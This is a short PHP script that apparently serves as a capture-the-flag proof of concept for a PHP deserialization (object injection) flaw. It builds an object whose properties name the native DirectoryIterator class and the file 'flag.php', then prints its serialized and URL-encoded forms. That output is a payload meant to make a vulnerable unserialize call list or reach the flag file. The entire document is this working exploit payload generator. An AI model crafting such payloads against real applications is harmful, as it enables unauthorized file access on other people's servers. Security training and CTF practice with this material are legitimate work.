<?php
class A{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "DirectoryIterator";
        $this->para = "flag.php";
    }
}
$poc = new A();
echo serialize($poc);
echo "\n";
echo urlencode(serialize($poc));
?>